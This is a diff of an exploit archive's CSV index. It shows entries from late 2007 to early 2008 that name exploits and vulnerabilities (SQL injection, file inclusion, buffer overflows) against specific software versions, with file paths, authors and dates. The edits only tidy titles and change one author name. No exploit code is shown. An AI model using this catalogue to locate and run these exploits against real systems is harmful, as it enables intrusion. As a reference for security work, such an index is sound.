 4749,platforms/windows/local/4749.c,"Rosoft Media Player <= 4.1.7 .M3U Stack Overflow Exploit",2007-12-18,devcode,windows,local,0
 4750,platforms/php/webapps/4750.txt,"phpMyRealty 1.0.x (search.php type) Remote SQL Injection Vulnerability",2007-12-18,Koller,php,webapps,0
 4751,platforms/windows/local/4751.pl,"jetAudio 7.0.5 COWON Media Center MP4 Stack Overflow Exploit",2007-12-18,"SYS 49152",windows,local,0
-4753,platforms/php/webapps/4753.txt,"Dokeos 1.8.4  Bypass Upload Shell From Your Profile Vulnerability",2007-12-18,RoMaNcYxHaCkEr,php,webapps,0
+4753,platforms/php/webapps/4753.txt,"Dokeos 1.8.4 Bypass Upload Shell From Your Profile Vulnerability",2007-12-18,RoMaNcYxHaCkEr,php,webapps,0
 4754,platforms/windows/remote/4754.pl,"3proxy 0.5.3g logurl() Remote Buffer Overflow Exploit (win32) (pl)",2007-12-18,"Marcin Kozlowski",windows,remote,3128
-4755,platforms/php/webapps/4755.txt,"PhpMyDesktop|arcade 1.0 Final (phpdns_basedir) RFI Vulnerability",2007-12-18,RoMaNcYxHaCkEr,php,webapps,0
+4755,platforms/php/webapps/4755.txt,"PhpMyDesktop/Arcade 1.0 Final - (phpdns_basedir) RFI Vulnerability",2007-12-18,RoMaNcYxHaCkEr,php,webapps,0
 4756,platforms/linux/local/4756.c,"Linux Kernel < 2.6.11.5 BLUETOOTH Stack Local Root Exploit",2007-12-18,Backdoored,linux,local,0
 4757,platforms/windows/dos/4757.txt,"HP Software Update client 3.0.8.4 Multiple Remote Vulnerabilities",2007-12-19,porkythepig,windows,dos,0
 4758,platforms/php/webapps/4758.txt,"xeCMS 1.x (view.php list) Remote File Disclosure Vulnerability",2007-12-19,p4imi0,php,webapps,0
@@ -4414,7 +4414,7 @@ id,file,description,date,author,platform,type,port
 4770,platforms/php/webapps/4770.txt,"Wallpaper Site 1.0.09 (category.php) Remote SQL Injection Vulnerability",2007-12-22,Koller,php,webapps,0
 4771,platforms/php/webapps/4771.txt,"Ip Reg 0.3 Multiple Remote SQL Injection Vulnerabilities",2007-12-22,MhZ91,php,webapps,0
 4772,platforms/php/webapps/4772.txt,"zBlog 1.2 Remote SQL Injection Vulnerability",2007-12-22,Houssamix,php,webapps,0
-4773,platforms/multiple/dos/4773.pl,"OpenSSL < 0.9.7l / 0.9.8d SSLv2 Client Crash Exploit",2007-12-23,"Noam Rathaus",multiple,dos,0
+4773,platforms/multiple/dos/4773.pl,"OpenSSL < 0.9.7l / 0.9.8d - SSLv2 Client Crash Exploit",2007-12-23,"Noam Rathaus",multiple,dos,0
 4774,platforms/php/webapps/4774.pl,"PHP ZLink 0.3 (go.php) Remote SQL Injection Exploit",2007-12-23,DNX,php,webapps,0
 4775,platforms/php/webapps/4775.txt,"Adult Script <= 1.6.5 Multiple Remote SQL Injection Vulnerabilities",2007-12-23,MhZ91,php,webapps,0
 4776,platforms/php/webapps/4776.txt,"MMSLamp (idpro) Remote SQL Injection Vulnerability",2007-12-23,x0kster,php,webapps,0
@@ -4437,7 +4437,7 @@ id,file,description,date,author,platform,type,port
 4793,platforms/php/webapps/4793.txt,"Blakord Portal <= Beta 1.3.A (all modules) SQL Injection Vulnerability",2007-12-26,JosS,php,webapps,0
 4794,platforms/php/webapps/4794.pl,"XZero Community Classifieds <= 4.95.11 LFI / SQL Injection",2007-12-26,Kw3[R]Ln,php,webapps,0
 4795,platforms/php/webapps/4795.txt,"XZero Community Classifieds <= 4.95.11 Remote File Inclusion Vuln",2007-12-26,Kw3[R]Ln,php,webapps,0
-4796,platforms/php/webapps/4796.txt,"PNphpBB2 <= 1.2i (printview.php phpEx) Local File Inclusion Vuln",2007-12-26,irk4z,php,webapps,0
+4796,platforms/php/webapps/4796.txt,"PNphpBB2 <= 1.2i - (printview.php phpEx) Local File Inclusion Vuln",2007-12-26,irk4z,php,webapps,0
 4797,platforms/hardware/remote/4797.pl,"March Networks DVR 3204 Logfile Information Disclosure Exploit",2007-12-27,"Alex Hernandez",hardware,remote,0
 4798,platforms/php/webapps/4798.php,"ZeusCMS <= 0.3 Remote Blind SQL Injection Exploit",2007-12-27,EgiX,php,webapps,0
 4799,platforms/php/webapps/4799.txt,"Joovili <= 3.0.6 (joovili.images.php) Remote File Disclosure Vulnerability",2007-12-27,EcHoLL,php,webapps,0
@@ -4450,7 +4450,7 @@ id,file,description,date,author,platform,type,port
 4807,platforms/php/webapps/4807.php,"jPORTAL 2.3.1 & UserPatch (forum.php) Remote Code Execution Exploit",2007-12-29,irk4z,php,webapps,0
 4808,platforms/php/webapps/4808.txt,"Mihalism Multi Forum Host <= 3.0.x Remote File Inclusion Vulnerability",2007-12-29,GoLd_M,php,webapps,0
 4809,platforms/php/webapps/4809.txt,"CCMS 3.1 Demo Remote SQL Injection Exploit",2007-12-29,Pr0metheuS,php,webapps,0
-4810,platforms/php/webapps/4810.txt,"CMS Made Simple <= 1.2.2 (TinyMCE  module) SQL Injection Vuln",2007-12-30,EgiX,php,webapps,0
+4810,platforms/php/webapps/4810.txt,"CMS Made Simple <= 1.2.2 (TinyMCE module) SQL Injection Vuln",2007-12-30,EgiX,php,webapps,0
 4811,platforms/php/webapps/4811.txt,"Kontakt Formular 1.4 Remote File Inclusion Vulnerability",2007-12-30,bd0rk,php,webapps,0
 4812,platforms/php/webapps/4812.txt,"Mihalism Multi Host 2.0.7 download.php Remote File Disclosure Vuln",2007-12-30,GoLd_M,php,webapps,0
 4813,platforms/php/webapps/4813.txt,"XCMS <= 1.83 Remote Command Execution Exploit",2007-12-30,x0kster,php,webapps,0
@@ -4506,7 +4506,7 @@ id,file,description,date,author,platform,type,port
 4863,platforms/php/webapps/4863.pl,"SmallNuke 2.0.4 Pass Recovery Remote SQL Injection Exploit",2008-01-08,"Eugene Minaev",php,webapps,0
 4864,platforms/php/webapps/4864.txt,"Zero CMS 1.0 Alpha Arbitrary File Upload / SQL Injection Vulnerabilities",2008-01-08,KiNgOfThEwOrLd,php,webapps,0
 4865,platforms/php/webapps/4865.txt,"EvilBoard 0.1a (SQL/XSS) Multiple Remote Vulnerabilities",2008-01-08,seaofglass,php,webapps,0
-4866,platforms/windows/remote/4866.py,"Microsoft DirectX SAMI File Parsing Remote Stack Overflow Exploit",2008-01-08,"Matteo Memelli",windows,remote,0
+4866,platforms/windows/remote/4866.py,"Microsoft DirectX SAMI File Parsing Remote Stack Overflow Exploit",2008-01-08,ryujin,windows,remote,0
 4867,platforms/php/webapps/4867.pl,"PHP Webquest 2.6 (id_actividad) Remote SQL Injection Exploit",2008-01-08,ka0x,php,webapps,0
 4868,platforms/windows/remote/4868.html,"Move Networks Quantum Streaming Player SEH Overwrite Exploit",2008-01-08,Elazar,windows,remote,0
 4869,platforms/windows/remote/4869.html,"Gateway Weblaunch ActiveX Control Insecure Method Exploit",2008-01-08,Elazar,windows,remote,0
@@ -4532,7 +4532,7 @@ id,file,description,date,author,platform,type,port
 4890,platforms/php/webapps/4890.txt,"AJchat 0.10 unset() bug Remote SQL Injection Vulnerability",2008-01-11,"Eugene Minaev",php,webapps,0
 4891,platforms/php/webapps/4891.php,"Docebo <= 3.5.0.3 (lib.regset.php/non-blind) SQL Injection Exploit",2008-01-11,rgod,php,webapps,0
 4892,platforms/windows/local/4892.py,"Microsoft Visual InterDev 6.0 (SP6) .sln File Local Buffer Overflow Exploit",2008-01-11,shinnai,windows,local,0
-4893,platforms/linux/dos/4893.c,"Linux Kernel <=2.6.21.1 IPv6 Jumbo Bug Remote DoS Exploit",2008-01-11,"Clemens Kurtenbach",linux,dos,0
+4893,platforms/linux/dos/4893.c,"Linux Kernel <= 2.6.21.1 - IPv6 Jumbo Bug Remote DoS Exploit",2008-01-11,"Clemens Kurtenbach",linux,dos,0
 4894,platforms/windows/remote/4894.html,"StreamAudio ChainCast ProxyManager ccpm_0237.dll BoF Exploit",2008-01-11,Elazar,windows,remote,0
 4895,platforms/php/webapps/4895.txt,"ImageAlbum 2.0.0b2 (id) Remote SQL Injection Vulnerability",2008-01-11,"Raw Security",php,webapps,0
 4896,platforms/php/webapps/4896.pl,"0DayDB 2.3 (delete id) Remote Admin Bypass Exploit",2008-01-11,Pr0metheuS,php,webapps,0
@@ -4542,7 +4542,7 @@ id,file,description,date,author,platform,type,port
 4900,platforms/asp/webapps/4900.txt,"ASP Photo Gallery 1.0 Multiple SQL Injection Vulnerabilities",2008-01-12,trew,asp,webapps,0
 4901,platforms/php/webapps/4901.txt,"TutorialCMS 1.02 (userName) Remote SQL Injection Vulnerability",2008-01-12,ka0x,php,webapps,0
 4902,platforms/php/webapps/4902.txt,"minimal Gallery 0.8 Remote File Disclosure Vulnerability",2008-01-13,Houssamix,php,webapps,0
-4903,platforms/windows/remote/4903.html,"NUVICO DVR NVDV4 / PdvrAtl Module (PdvrAtl.DLL 1.0.1.25) BoF Exploit",2008-01-13,rgod,windows,remote,0
+4903,platforms/windows/remote/4903.html,"NUVICO DVR NVDV4 / PdvrAtl Module (PdvrAtl.DLL 1.0.1.25) - BoF Exploit",2008-01-13,rgod,windows,remote,0
 4904,platforms/php/webapps/4904.txt,"Binn SBuilder (nid) Remote Blind SQL Injection Vulnerability",2008-01-13,JosS,php,webapps,0
 4905,platforms/php/webapps/4905.pl,"Agares PhpAutoVideo 2.21 (articlecat) Remote SQL Injection Exploit",2008-01-13,Pr0metheuS,php,webapps,0
 4906,platforms/windows/remote/4906.txt,"Quicktime Player 7.3.1.70 rtsp Remote Buffer Overflow Exploit PoC",2008-01-14,"Luigi Auriemma",windows,remote,0
@@ -4553,10 +4553,10 @@ id,file,description,date,author,platform,type,port
 4911,platforms/windows/dos/4911.c,"Cisco VPN Client IPSec Driver Local kernel system pool Corruption PoC",2008-01-15,mu-b,windows,dos,0
 4912,platforms/php/webapps/4912.txt,"LulieBlog 1.0.1 (delete id) Remote Admin Bypass Vulnerability",2008-01-15,ka0x,php,webapps,0
 4913,platforms/windows/remote/4913.html,"Macrovision FlexNet isusweb.dll DownloadAndExecute Method Exploit",2008-01-15,Elazar,windows,remote,0
-4914,platforms/php/webapps/4914.txt,"FaScript FaMp3 v1 (show.php) Remote SQL Injection Vulnerability",2008-01-15,IRCRASH,php,webapps,0
-4915,platforms/php/webapps/4915.txt,"FaScript FaName v1 (page.php) Remote SQL Injection Vulnerability",2008-01-15,IRCRASH,php,webapps,0
+4914,platforms/php/webapps/4914.txt,"FaScript FaMp3 1.0 - (show.php) Remote SQL Injection Vulnerability",2008-01-15,IRCRASH,php,webapps,0
+4915,platforms/php/webapps/4915.txt,"FaScript FaName 1.0 - (page.php) Remote SQL Injection Vulnerability",2008-01-15,IRCRASH,php,webapps,0
 4916,platforms/php/webapps/4916.txt,"FaScript FaPersian Petition (show.php) SQL Injection Vulnerability",2008-01-15,IRCRASH,php,webapps,0
-4917,platforms/php/webapps/4917.txt,"FaScript FaPersianHack v1 (show.php) SQL Injection Vulnerability",2008-01-15,IRCRASH,php,webapps,0
+4917,platforms/php/webapps/4917.txt,"FaScript FaPersianHack 1.0 - (show.php) SQL Injection Vulnerability",2008-01-15,IRCRASH,php,webapps,0
 4918,platforms/windows/remote/4918.html,"RTS Sentry Digital Surveillance (CamPanel.dll 2.1.0.2) BOF Exploit",2008-01-16,rgod,windows,remote,0
 4919,platforms/php/webapps/4919.txt,"Blogcms 4.2.1b (SQL/XSS) Multiple Remote Vulnerabilities",2008-01-16,DSecRG,php,webapps,0
 4920,platforms/php/webapps/4920.txt,"Aria 0.99-6 (effect.php page) Local File Inclusion Vulnerability",2008-01-16,DSecRG,php,webapps,0
@@ -4565,7 +4565,7 @@ id,file,description,date,author,platform,type,port
 4923,platforms/windows/remote/4923.txt,"MiniWeb 0.8.19 Multiple Remote Vulnerabilities",2008-01-16,"Hamid Ebadi",windows,remote,0
 4924,platforms/php/webapps/4924.php,"PixelPost 1.7 Remote Blind SQL Injection Exploit",2008-01-16,Silentz,php,webapps,0
 4925,platforms/php/webapps/4925.txt,"PHP-RESIDENCE 0.7.2 (Search) Remote SQL Injection Vulnerability",2008-01-16,IRCRASH,php,webapps,0
-4926,platforms/php/webapps/4926.pl,"Gradman <= 0.1.3  (agregar_info.php) Local File Inclusion Exploit",2008-01-16,JosS,php,webapps,0
+4926,platforms/php/webapps/4926.pl,"Gradman <= 0.1.3 (agregar_info.php) Local File Inclusion Exploit",2008-01-16,JosS,php,webapps,0
 4927,platforms/php/webapps/4927.php,"MyBulletinBoard (MyBB) <= 1.2.10 Remote Code Execution Exploit",2008-01-16,Silentz,php,webapps,0
 4928,platforms/php/webapps/4928.txt,"MyBulletinBoard (MyBB) <= 1.2.10 Multiple Remote Vulnerabilities",2008-01-16,waraxe,php,webapps,0
 4929,platforms/php/webapps/4929.txt,"PHPEcho CMS 2.0 (id) Remote SQL Injection Vulnerability",2008-01-17,Stack,php,webapps,0
@@ -4581,7 +4581,7 @@ id,file,description,date,author,platform,type,port
 4939,platforms/php/webapps/4939.txt,"Wordpress plugin WP-Forum 1.7.4 Remote SQL Injection Vulnerability",2008-01-19,"websec Team",php,webapps,0
 4940,platforms/php/webapps/4940.pl,"Mini File Host 1.2.1 (upload.php language) Local File Inclusion Exploit",2008-01-20,shinmai,php,webapps,0
 4941,platforms/hardware/remote/4941.txt,"Belkin Wireless G Plus MIMO Router F5D9230-4 Auth Bypass Vulnerability",2008-01-20,DarkFig,hardware,remote,0
-4942,platforms/php/webapps/4942.txt,"TikiWiki < 1.9.9  tiki-listmovies.php Directory Traversal Vulnerability",2008-01-20,Sha0,php,webapps,0
+4942,platforms/php/webapps/4942.txt,"TikiWiki < 1.9.9 tiki-listmovies.php Directory Traversal Vulnerability",2008-01-20,Sha0,php,webapps,0
 4943,platforms/php/webapps/4943.txt,"Frimousse 0.0.2 explorerdir.php Local Directory Traversal Vulnerability",2008-01-20,Houssamix,php,webapps,0
 4944,platforms/php/webapps/4944.txt,"360 Web Manager 3.0 (IDFM) SQL Injection Vulnerability",2008-01-20,"Ded MustD!e",php,webapps,0
 4945,platforms/php/webapps/4945.txt,"Bloofox 0.3 (SQL/FD) Multiple Remote Vulnerabilities",2008-01-20,BugReport.IR,php,webapps,0
@@ -4634,7 +4634,7 @@ id,file,description,date,author,platform,type,port
 4993,platforms/php/webapps/4993.txt,"Wordpress plugin fGallery 2.4.1 fimrss.php SQL Injection Vulnerability",2008-01-27,Houssamix,php,webapps,0
 4994,platforms/multiple/local/4994.sql,"Oracle 10g R1 pitrig_drop PLSQL Injection (get users hash)",2008-01-28,Sh2kerr,multiple,local,0
 4995,platforms/multiple/local/4995.sql,"Oracle 10g R1 pitrig_truncate PLSQL Injection (get users hash)",2008-01-28,Sh2kerr,multiple,local,0
-4996,platforms/multiple/local/4996.sql,"Oracle 10g R1 xdb.xdb_pitrig_pkg  PLSQL Injection (change sys password)",2008-01-28,Sh2kerr,multiple,local,0
+4996,platforms/multiple/local/4996.sql,"Oracle 10g R1 xdb.xdb_pitrig_pkg PLSQL Injection (change sys password)",2008-01-28,Sh2kerr,multiple,local,0
 4997,platforms/multiple/dos/4997.sql,"Oracle 10g R1 xdb.xdb_pitrig_pkg Buffer Overflow Exploit (PoC)",2008-01-28,Sh2kerr,multiple,dos,0
 4998,platforms/windows/local/4998.c,"IrfanView 4.10 .FPX File Memory Corruption Exploit",2008-01-28,Marsu,windows,local,0
 4999,platforms/windows/remote/4999.htm,"MailBee Objects 5.5 (MailBee.dll) Remote Insecure Method Exploit",2008-01-28,darkl0rd,windows,remote,0
@@ -4647,7 +4647,7 @@ id,file,description,date,author,platform,type,port
 5006,platforms/php/webapps/5006.txt,"phpCMS 1.2.2 (parser.php file) Remote File Disclosure Vulnerability",2008-01-29,DSecRG,php,webapps,0
 5007,platforms/php/webapps/5007.txt,"Mambo Component Newsletter (listid) Remote SQL Injection Vulnerability",2008-01-29,"S@BUN ",php,webapps,0
 5008,platforms/php/webapps/5008.txt,"Mambo Component Fq (listid) Remote SQL Injection Vulnerability",2008-01-29,"S@BUN ",php,webapps,0
-5009,platforms/php/webapps/5009.txt,"Mambo Component MaMML (listid) Remote SQL Injection  Vulnerability",2008-01-29,"S@BUN ",php,webapps,0
+5009,platforms/php/webapps/5009.txt,"Mambo Component MaMML (listid) Remote SQL Injection Vulnerability",2008-01-29,"S@BUN ",php,webapps,0
 5010,platforms/php/webapps/5010.txt,"Mambo Component Glossary 2.0 (catid) SQL Injection Vulnerability",2008-01-30,"S@BUN ",php,webapps,0
 5011,platforms/php/webapps/5011.txt,"Mambo Component musepoes (aid) Remote SQL Injection Vulnerability",2008-01-30,"S@BUN ",php,webapps,0
 5012,platforms/php/webapps/5012.pl,"Connectix Boards <= 0.8.2 template_path Remote File Inclusion Exploit",2008-01-30,Houssamix,php,webapps,0
@@ -4743,13 +4743,13 @@ id,file,description,date,author,platform,type,port
 5105,platforms/php/webapps/5105.pl,"AuraCMS 2.2 (gallery_data.php) Remote SQL Injection Exploit",2008-02-12,DNX,php,webapps,0
 5106,platforms/windows/remote/5106.html,"Citrix Presentation Server Client WFICA.OCX ActiveX Heap BOF Exploit",2008-02-12,Elazar,windows,remote,0
 5107,platforms/windows/local/5107.c,"Microsoft Office .WPS File Stack Overflow Exploit (MS08-011)",2008-02-13,chujwamwdupe,windows,local,0
-5108,platforms/php/webapps/5108.txt,"Affiliate Market Ver.0.1 BETA (language) Local File Inclusion Vulnerability",2008-02-13,GoLd_M,php,webapps,0
+5108,platforms/php/webapps/5108.txt,"Affiliate Market 0.1 BETA - (language) Local File Inclusion Vulnerability",2008-02-13,GoLd_M,php,webapps,0
 5109,platforms/php/webapps/5109.txt,"Joomla Component xfaq 1.2 (aid) Remote SQL Injection Vulnerability",2008-02-13,"S@BUN ",php,webapps,0
 5110,platforms/windows/dos/5110.txt,"QuickTime 7.4.1 QTPlugin.ocx Multiple Stack Overflow Vulnerabilities",2008-02-13,"laurent gaffié ",windows,dos,0
 5111,platforms/windows/remote/5111.html,"IBM Domino Web Access Upload Module SEH Overwrite Exploit",2008-02-13,Elazar,windows,remote,0
 5112,platforms/jsp/webapps/5112.txt,"JSPWiki 2.4.104 / 2.5.139 Multiple Remote Vulnerabilities",2008-02-13,"BugSec LTD",jsp,webapps,0
 5113,platforms/hardware/remote/5113.txt,"Philips VOIP841 (Firmware <= 1.0.4.800) Multiple Vulnerabilities",2008-02-14,ikki,hardware,remote,0
-5114,platforms/php/webapps/5114.pl,"Affiliate Market Ver.0.1 BETA XSS / SQL Injection Exploit",2008-02-14,IRCRASH,php,webapps,0
+5114,platforms/php/webapps/5114.pl,"Affiliate Market 0.1 BETA - XSS / SQL Injection Exploit",2008-02-14,IRCRASH,php,webapps,0
 5115,platforms/php/webapps/5115.txt,"nuBoard 0.5 (threads.php ssid) SQL Injection Vulnerability",2008-02-14,IRCRASH,php,webapps,0
 5116,platforms/php/webapps/5116.txt,"artmedic weblog 1.0 Multiple Local File Inclusion Vulnerabilities",2008-02-14,muuratsalo,php,webapps,0
 5117,platforms/php/webapps/5117.txt,"Joomla Component paxxgallery 0.2 (iid) SQL Injection Vulnerability",2008-02-14,"S@BUN ",php,webapps,0
@@ -4826,7 +4826,7 @@ id,file,description,date,author,platform,type,port
 5188,platforms/windows/remote/5188.html,"Rising Antivirus Online Scanner Insecure Method Flaw Exploit",2008-02-25,"John Smith",windows,remote,0
 5189,platforms/php/webapps/5189.pl,"DBHcms <= 1.1.4 Remote File Inclusion exploit",2008-02-25,Iron,php,webapps,0
 5190,platforms/windows/remote/5190.html,"Move Networks Quantum Streaming Player Control BOF Exploit",2008-02-26,Elazar,windows,remote,0
-5191,platforms/multiple/dos/5191.c,"Apple Mac OS X xnu <= 1228.3.13 ipv6-ipcomp Remote kernel DoS PoC",2008-02-26,mu-b,multiple,dos,0
+5191,platforms/multiple/dos/5191.c,"Apple Mac OS X xnu <= 1228.3.13 - IPv6-ipcomp Remote kernel DoS PoC",2008-02-26,mu-b,multiple,dos,0
 5192,platforms/php/webapps/5192.pl,"Nukedit 4.9.x Remote Create Admin Exploit",2008-02-26,r3dm0v3,php,webapps,0
 5193,platforms/windows/remote/5193.html,"D-Link MPEG4 SHM Audio Control (VAPGDecoder.dll 1.7.0.5) BOF Exploit",2008-02-26,rgod,windows,remote,0
 5194,platforms/php/webapps/5194.txt,"Wordpress Plugin Sniplets 1.1.2 (RFI/XSS/RCE) Multiple Vulnerabilities",2008-02-26,NBBN,php,webapps,0
@@ -4835,7 +4835,7 @@ id,file,description,date,author,platform,type,port
 5197,platforms/php/webapps/5197.txt,"GROUP-E 1.6.41 (head_auth.php) Remote File Inclusion Vulnerability",2008-02-27,CraCkEr,php,webapps,0
 5198,platforms/php/webapps/5198.txt,"Koobi Pro 5.7 (categ) Remote SQL Injection Vulnerability",2008-02-28,Cr@zy_King,php,webapps,0
 5199,platforms/php/webapps/5199.txt,"SiteBuilderElite 1.2 Multiple Remote File Inclusion Vulnerabilities",2008-02-28,MhZ91,php,webapps,0
-5200,platforms/php/webapps/5200.txt,"Podcast Generator <= 1.0 BETA 2 RFI / File Disclosure  Vulnerabilities",2008-02-28,GoLd_M,php,webapps,0
+5200,platforms/php/webapps/5200.txt,"Podcast Generator <= 1.0 BETA 2 RFI / File Disclosure Vulnerabilities",2008-02-28,GoLd_M,php,webapps,0
 5201,platforms/windows/dos/5201.txt,"Crysis <= 1.1.1.5879 Remote Format String Denial of Service PoC",2008-02-28,"Long Poke",windows,dos,0
 5202,platforms/php/webapps/5202.txt,"Barryvan Compo Manager 0.5pre-1 Remote File Inclusion Vulnerability",2008-02-28,MhZ91,php,webapps,0
 5203,platforms/php/webapps/5203.txt,"PHP-Nuke My_eGallery <= 2.7.9 Remote SQL Injection Vulnerability",2008-02-28,"Aria-Security Team",php,webapps,0
@@ -4854,8 +4854,8 @@ id,file,description,date,author,platform,type,port
 5216,platforms/php/webapps/5216.txt,"XOOPS Module Glossario 2.2 (sid) Remote SQL Injection Vulnerability",2008-03-06,"S@BUN ",php,webapps,0
 5217,platforms/windows/dos/5217.html,"ICQ Toolbar 2.3 ActiveX Remote Denial of Service Exploit",2008-03-06,spdr,windows,dos,0
 5218,platforms/php/webapps/5218.txt,"XOOPS Module wfdownloads (cid) Remote SQL Injection Vulnerability",2008-03-06,"S@BUN ",php,webapps,0
-5219,platforms/php/webapps/5219.php,"zKup CMS 2.0 <= 2.3 Remote Add Admin Exploit",2008-03-07,"Charles Fol",php,webapps,0
-5220,platforms/php/webapps/5220.php,"zKup CMS 2.0 <= 2.3 Remote Upload Exploit",2008-03-07,"Charles Fol",php,webapps,0
+5219,platforms/php/webapps/5219.php,"zKup CMS 2.0 <= 2.3 - Remote Add Admin Exploit",2008-03-07,"Charles Fol",php,webapps,0
+5220,platforms/php/webapps/5220.php,"zKup CMS 2.0 <= 2.3 - Remote Upload Exploit",2008-03-07,"Charles Fol",php,webapps,0
 5221,platforms/php/webapps/5221.txt,"Joomla Component Candle 1.0 (cID) SQL Injection Vulnerability",2008-03-08,"S@BUN ",php,webapps,0
 5222,platforms/php/webapps/5222.txt,"QuickTicket <= 1.5 (qti_usr.php id) SQL Injection Vulnerability",2008-03-09,croconile,php,webapps,0
 5223,platforms/php/webapps/5223.txt,"BM Classifieds <= 20080409 Multiple SQL Injection Vulnerabilities",2008-03-09,xcorpitx,php,webapps,0
@@ -4870,7 +4870,7 @@ id,file,description,date,author,platform,type,port
 5232,platforms/php/webapps/5232.txt,"Mapbender <= 2.4.4 (mapFiler.php) Remote Code Execution Vulnerability",2008-03-11,"RedTeam Pentesting",php,webapps,0
 5233,platforms/php/webapps/5233.txt,"Mapbender 2.4.4 (gaz) Remote SQL Injection Vulnerability",2008-03-11,"RedTeam Pentesting",php,webapps,0
 5234,platforms/php/webapps/5234.txt,"Bloo <= 1.00 Multiple Remote SQL Injection Vulnerabilities",2008-03-11,MhZ91,php,webapps,0
-5235,platforms/windows/dos/5235.py,"MailEnable SMTP Service VRFY/EXPN Command Buffer Overflow DoS",2008-03-11,"Matteo Memelli",windows,dos,0
+5235,platforms/windows/dos/5235.py,"MailEnable SMTP Service VRFY/EXPN Command Buffer Overflow DoS",2008-03-11,ryujin,windows,dos,0
 5236,platforms/php/webapps/5236.txt,"phpBB Mod FileBase (id) Remote SQL Injection Vulnerability",2008-03-11,t0pP8uZz,php,webapps,0
 5237,platforms/php/webapps/5237.txt,"Joomla Component ProductShowcase <= 1.5 SQL Injection Vulnerability",2008-03-11,"S@BUN ",php,webapps,0
 5238,platforms/windows/remote/5238.py,"Motorola Timbuktu Pro 8.6.5/8.7 Path Traversal / Log Injection Exploit",2008-03-11,"Core Security",windows,remote,0
@@ -4879,21 +4879,21 @@ id,file,description,date,author,platform,type,port
 5241,platforms/php/webapps/5241.txt,"XOOPS Module Gallery 0.2.2 (gid) Remote SQL Injection Vulnerability",2008-03-12,"S@BUN ",php,webapps,0
 5242,platforms/php/webapps/5242.txt,"XOOPS Module My_eGallery 3.04 (gid) SQL Injection Vulnerability",2008-03-12,"S@BUN ",php,webapps,0
 5243,platforms/php/webapps/5243.txt,"Fully Modded phpBB (kb.php) Remote SQL Injection Vulnerability",2008-03-12,TurkishWarriorr,php,webapps,0
-5244,platforms/php/webapps/5244.txt,"eXV2 Module bamaGalerie 3.03 Remote SQL Injection Vulnerability",2008-03-12,"S@BUN ",php,webapps,0
+5244,platforms/php/webapps/5244.txt,"eXV2 Module bamaGalerie 3.03 - Remote SQL Injection Vulnerability",2008-03-12,"S@BUN ",php,webapps,0
 5245,platforms/php/webapps/5245.txt,"XOOPS Module tutorials (printpage.php) SQL Injection Vulnerability",2008-03-12,"S@BUN ",php,webapps,0
 5246,platforms/php/webapps/5246.txt,"EasyCalendar <= 4.0tr Multiple Remote Vulnerabilities",2008-03-12,JosS,php,webapps,0
 5247,platforms/php/webapps/5247.txt,"EasyGallery <= 5.0tr Multiple Remote Vulnerabilities",2008-03-12,JosS,php,webapps,0
-5248,platforms/windows/remote/5248.py,"MDaemon IMAP server 9.6.4 (FETCH) Remote Buffer Overflow Exploit",2008-03-13,"Matteo Memelli",windows,remote,143
+5248,platforms/windows/remote/5248.py,"MDaemon IMAP server 9.6.4 (FETCH) Remote Buffer Overflow Exploit",2008-03-13,ryujin,windows,remote,143
 5249,platforms/windows/remote/5249.pl,"MailEnable Pro/Ent <= 3.13 (Fetch) post-auth Remote BOF Exploit",2008-03-14,haluznik,windows,remote,0
 5250,platforms/windows/local/5250.cpp,"VLC <= 0.8.6e Subtitle Parsing Local Buffer Overflow Exploit",2008-03-14,"Mai Xuan Cuong",windows,local,0
-5252,platforms/php/webapps/5252.txt,"eXV2 Module MyAnnonces (lid) Remote SQL Injection Vulnerability",2008-03-14,"S@BUN ",php,webapps,0
-5253,platforms/php/webapps/5253.txt,"eXV2 Module eblog 1.2 (blog_id) Remote SQL Injection Vulnerability",2008-03-14,"S@BUN ",php,webapps,0
-5254,platforms/php/webapps/5254.txt,"eXV2 Module Viso <= 2.0.4.3 (kid) Remote SQL Injection Vulnerability",2008-03-14,"S@BUN ",php,webapps,0
-5255,platforms/php/webapps/5255.txt,"eXV2 Module WebChat 1.60 (roomid) Remote SQL Injection Vulnerability",2008-03-14,"S@BUN ",php,webapps,0
+5252,platforms/php/webapps/5252.txt,"eXV2 Module MyAnnonces - (lid) Remote SQL Injection Vulnerability",2008-03-14,"S@BUN ",php,webapps,0
+5253,platforms/php/webapps/5253.txt,"eXV2 Module eblog 1.2 - (blog_id) Remote SQL Injection Vulnerability",2008-03-14,"S@BUN ",php,webapps,0
+5254,platforms/php/webapps/5254.txt,"eXV2 Module Viso <= 2.0.4.3 - (kid) Remote SQL Injection Vulnerability",2008-03-14,"S@BUN ",php,webapps,0
+5255,platforms/php/webapps/5255.txt,"eXV2 Module WebChat 1.60 - (roomid) Remote SQL Injection Vulnerability",2008-03-14,"S@BUN ",php,webapps,0
 5256,platforms/php/webapps/5256.pl,"AuraCMS <= 2.2.1 (online.php) Remote Blind SQL Injection Exploit",2008-03-14,NTOS-Team,php,webapps,0
-5257,platforms/multiple/remote/5257.py,"Dovecot IMAP 1.0.10 <= 1.1rc2 Remote Email Disclosure Exploit",2008-03-14,Kingcope,multiple,remote,0
+5257,platforms/multiple/remote/5257.py,"Dovecot IMAP 1.0.10 <= 1.1rc2 - Remote Email Disclosure Exploit",2008-03-14,Kingcope,multiple,remote,0
 5258,platforms/solaris/dos/5258.c,"SunOS 5.10 Sun Cluster rpc.metad Denial of Service PoC",2008-03-14,Kingcope,solaris,dos,0
-5259,platforms/windows/remote/5259.py,"NetWin Surgemail 3.8k4-4 IMAP post-auth Remote LIST Universal Exploit",2008-03-14,"Matteo Memelli",windows,remote,143
+5259,platforms/windows/remote/5259.py,"NetWin Surgemail 3.8k4-4 IMAP post-auth Remote LIST Universal Exploit",2008-03-14,ryujin,windows,remote,143
 5260,platforms/php/webapps/5260.txt,"fuzzylime cms <= 3.01 (admindir) Remote File Inclusion Vulnerability",2008-03-14,irk4z,php,webapps,0
 5261,platforms/windows/dos/5261.py,"Rosoft Media Player 4.1.8 RML Stack Based Buffer Overflow PoC",2008-03-15,"Wiktor Sierocinski",windows,dos,0
 5262,platforms/php/webapps/5262.txt,"Mutiple Timesheets <= 5.0 Multiple Remote Vulnerabilities",2008-03-16,JosS,php,webapps,0
@@ -4961,11 +4961,11 @@ id,file,description,date,author,platform,type,port
 5327,platforms/windows/dos/5327.txt,"MS Windows Explorer Unspecified .DOC File Denial of Service Exploit",2008-03-31,"Iron Team",windows,dos,0
 5328,platforms/php/webapps/5328.txt,"phpSpamManager 0.53b (body.php) Remote File Disclosure Vulnerability",2008-03-31,GoLd_M,php,webapps,0
